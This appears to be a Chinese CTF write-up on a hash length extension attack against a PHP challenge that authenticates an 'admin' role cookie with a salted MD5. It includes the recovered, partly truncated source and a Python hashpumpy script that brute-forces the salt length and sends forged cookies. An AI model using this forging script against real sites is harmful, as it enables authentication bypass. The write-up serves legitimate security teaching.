这里面就放一张百度百科的解释吧,emmm
反正我是看不懂还是做一下题来巩固一下吧
CTF中的hash长度攻击

进入网页你会发现页面显示

我这里没有看到什么可以利用的,抓了一下包也没有什么有可以利用的东西,扫一下目录看看,这里面我用的是一个专门扫描敏感文件的工具.有兴趣的同学可以去看一下.
工具在这里
使用方法:python3 1.py url 16 32
OK通过扫描我们发现一个index.php~的文件,下载下来其实就是一个linux意外退出的一个交换文件,emmmmm.

在linux中使用 vim -r 目标文件可以进行恢复
恢复后的源码:

<html>
<head>
<title>Web 350</title>
<style type="text/css">
body {
background:gray;
text-align:center;
}
</style>
</head>
<body>
<?php
$auth = false;
$role = "guest";
$salt =
if (isset($_COOKIE["role"])) {
$role = unserialize($_COOKIE["role"]);
$hsh = $_COOKIE["hsh"];
if ($role==="admin" && $hsh === md5($salt.strrev($_COOKIE["role"]))) {
$auth = true;
} else {
$auth = false;
}
} else {
$s = serialize($role);
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
}
if ($auth) {
echo "<h3>Welcome Admin. Your flag is
} else {
echo "<h3>Only Admin can see the flag!!</h3>";
}
?> </body>
</html>
下面来对代码的逻辑进行一下分析。
首先要想获取flag就要保证role反序列化的值为admin(这个好弄就是在burp里面改一下就行了),但是还要保证hsh===md5($salt.strrev($_COOKIE["role"]),hsh已经给我们了,你看看下面的代码逻辑,他是md5($salt.strrev($s)),而$s的值一开始就是guest,这里面就是将它给字符串给序列化后在反转一下整的。
首先我们先看一下我们的手中的条件,首先我们需要将role改为admin,这个是不用说的,其实我们还有让hsh这个hash值等于md5($salt.strrev($_COOKIE["role"])),,这个就要用到hash扩展攻击了。
下面讲一下hash和扩展攻击的利用方法,其一就是要知道salt的长度(这里面我们可以爆破一下),然后还有知道一个salt后面的string的值以及md5之后的hash值。
这里面我们刚好知道hsh的初始值
$s = serialize($role);//$role的初始值为guest
setcookie('role',$s);
$hsh = md5($salt.strrev($s));
setcookie('hsh',$hsh);
既然我们得到了这个一个hash值,那么我们就可以添加任意的字符串,那么我们添加的字符串就是admin不就好了,这样不仅可以完成条件role='admin',又因为hash长度扩展攻击,所以hsh==~~md5($salt.strrev($_COOKIE["role"])),大概的原理就是你在原来的基础上(已经知道hash值)在添加的字符串进行的hash加密是可以计算出来的。(emmmmmm,菜鸡一个有可能说的很差,见谅,见谅).
这里面我们用python写出爆破脚本(因为salt的长度未知)

哈希长度扩展攻击的实现

url="http://web.jarvisoj.com:32778/"
string1=';"nimda":5:s' #第一个我们需要添加的字符串
string2=';"tseug":5:s'
hash="3a4727d57463f122833d9e732f94e4e0"
for test in range(1,25) :
hash_exp,message=hashpumpy.hashpump(hash,string2,string1,test)
#print(message)
payload={'role':urllib.parse.quote(message[::-1]),'hsh':hash_exp}
print(test,payload)
Mikasa=requests.get(url,cookies=payload).text
if "Welcome" in Mikasa :
print(Mikasa)
#payload={'role':}
``` 因为是倒叙进行的加密,所以我们也要倒叙的加密,当然也可以用hashpump这个工具来实现。
结语
感觉自己太差劲了,讲的也不算好,哎!还是太菜

hash长度扩展攻击的更多相关文章

  1. MD5的Hash长度扩展攻击

    Hash长度扩展攻击 引子 无意中碰到一道题,大概代码是这样的 $flag = "XXXXXXXXXXXXXXXXXXXXXXX"; $secret = "XXXXXXX ...

  2. 实验吧——让我进去(hash长度扩展攻击)

    题目地址:http://ctf5.shiyanbar.com/web/kzhan.php 在页面源码没发现什么,于是用burp进行抓包重放 看到有setcookie,于是重新刷新页面拦截数据包(这次才 ...

  3. 实验吧Web-中-让我进去(Hash长度扩展攻击、加盐密码及Linux下hashpump的安装使用)

    打开网页,测试开始,注入费老大劲,看了大佬的blog才知道怎么干. bp抓包,观察发现cookie中有个source=0,在repeater中修改为source=1,然go一下,出来了一段源代码. $ ...

  4. 浅谈HASH长度拓展攻击

    前言 最近在做CTF题的时候遇到这个考点,想起来自己之前在做实验吧的入门CTF题的时候遇到过这个点,当时觉得难如看天书一般,现在回头望去,仔细琢磨一番感觉也不是那么难,这里就写篇文章记录一下自己的学习 ...

  5. 哈希长度扩展攻击(Hash Length Extension Attack)利用工具hexpand安装使用方法

    去年我写了一篇哈希长度扩展攻击的简介以及HashPump安装使用方法,本来已经足够了,但HashPump还不是很完善的哈希长度扩展攻击,HashPump在使用的时候必须提供original_data, ...

  6. 哈希长度扩展攻击的简介以及HashPump安装使用方法

    哈希长度扩展攻击(hash length extension attacks)是指针对某些允许包含额外信息的加密散列函数的攻击手段.该攻击适用于在消息与密钥的长度已知的情形下,所有采取了 H(密钥 ∥ ...

  7. MD5加密及Hash长度拓展攻击【通俗易懂】

    先放一个简单点的利用了Hash长度拓展攻击的题目 if($COOKIE["getmein"] === md5($secret . urldecode($username . $pa ...

  8. [De1CTF 2019]SSRF Me-MD5长度扩展攻击&CVE-2019-9948

    0x00 打开题目查看源代码,开始审计 这里贴上网上师傅的博客笔记: https://xz.aliyun.com/t/6050 #! /usr/bin/env python #encoding=utf ...

  9. 实验吧_天下武功唯快不破&让我进去(哈希长度拓展攻击)

    天下武功唯快不破 第一反应就去抓包,看到返回包的header中有FLAG的值,base64解码后得到下图所示 这就要求我们在请求头中post相应key的值,我直接在burp中尝试了多次都没有用,想起来 ...

随机推荐

  1. Linux安装yum install gcc-c++出错:Could not retrieve mirrorlist http://mirrorlist.centos.org/?release=7&arch=x86_64&repo=os&infra=stock error was 14: curl#6 - "Could not resolve host: mirrorlist.centos...

    错误如图: 解决办法: 1.修改配置文件 /etc/resolv.conf,该配置文件如下: 2.输入:gedit resolv.conf,修改配置文件内容如下: 3.然后重启: 4.重新进行安装: ...

  2. linux中安装vsftpd出现的问题

    提示:安装vsftpd必须要在root用户下才能安装成功,进入root:su -(中间有空格) 问题: 1.再用命令getsebool -a | grep ftpd命令查看查看状态时出现的问题:SEL ...

  3. 我真的不想再用 JPA 了

    在开发者的圈子里,没当说到一种技术好或者不好,都会引发激烈或者不激烈的争论,直到一个开发者出来说 PHP 是世界上最好的语言,大家伙儿才会纷纷退去继续写代码. 今天说 JPA 的问题不是想引发什么讨论 ...

  4. android View的测量和绘制

    本篇内容来源于android 群英传(徐易生著) 我写到这里,是觉得徐易生讲的确实很好, 另外加入了一些自己的理解,便于自己基础的提高. 另外参考:http://www.gcssloop.com/cu ...

  5. laravel模板布局

    在实际的开发中,我们会遇到许多重复页面的部分,这些页面的重复会让我们的代码看起来非常冗余 所以我们要进行页面的布局规划.思路:将页面中的公有部分取出来作为单独的页面,其他继承公共模板 在公共模板的基础 ...

  6. java8中字符串常量以及GC相应处理机制

    目录 1,常量池 1.1, class文件常量池 1.2, 运行时常量池 1.3,字符串常量池 String.intern() -XX:StringTableSize 2,使用new关键字和使用字符串 ...

  7. scp建立安全信任关系

    1. 在机器Client上root用户执行ssh-keygen命令,生成建立安全信任关系的证书. [root@Client root]# ssh-keygen -b 1024 -t rsa Gener ...

  8. windows下安装spark

    1.安装jdk 2.安装scala 3.下载spark spark下载地址 3.1安装spark 将下载的文件解压到一个目录,注意目录不能有空格,比如说不能解压到C:\Program Files 作者 ...

  9. 【面试】足够“忽悠”面试官的『Spring事务管理器』源码阅读梳理(建议珍藏)

    PS:文章内容涉及源码,请耐心阅读. 理论实践,相辅相成 伟大领袖毛主席告诉我们实践出真知.这是无比正确的.但是也会很辛苦. 就像淘金一样,从大量沙子中淘出金子一定是一个无比艰辛的过程.但如果真能淘出 ...

  10. java工具方法

    仅记录所遇到并使用的工具方法. 1.md5加密 /** * 对传入的字符串数据进行MD5加密 * @param source 字符串数据 * @param code 字符编码 * @return 加密 ...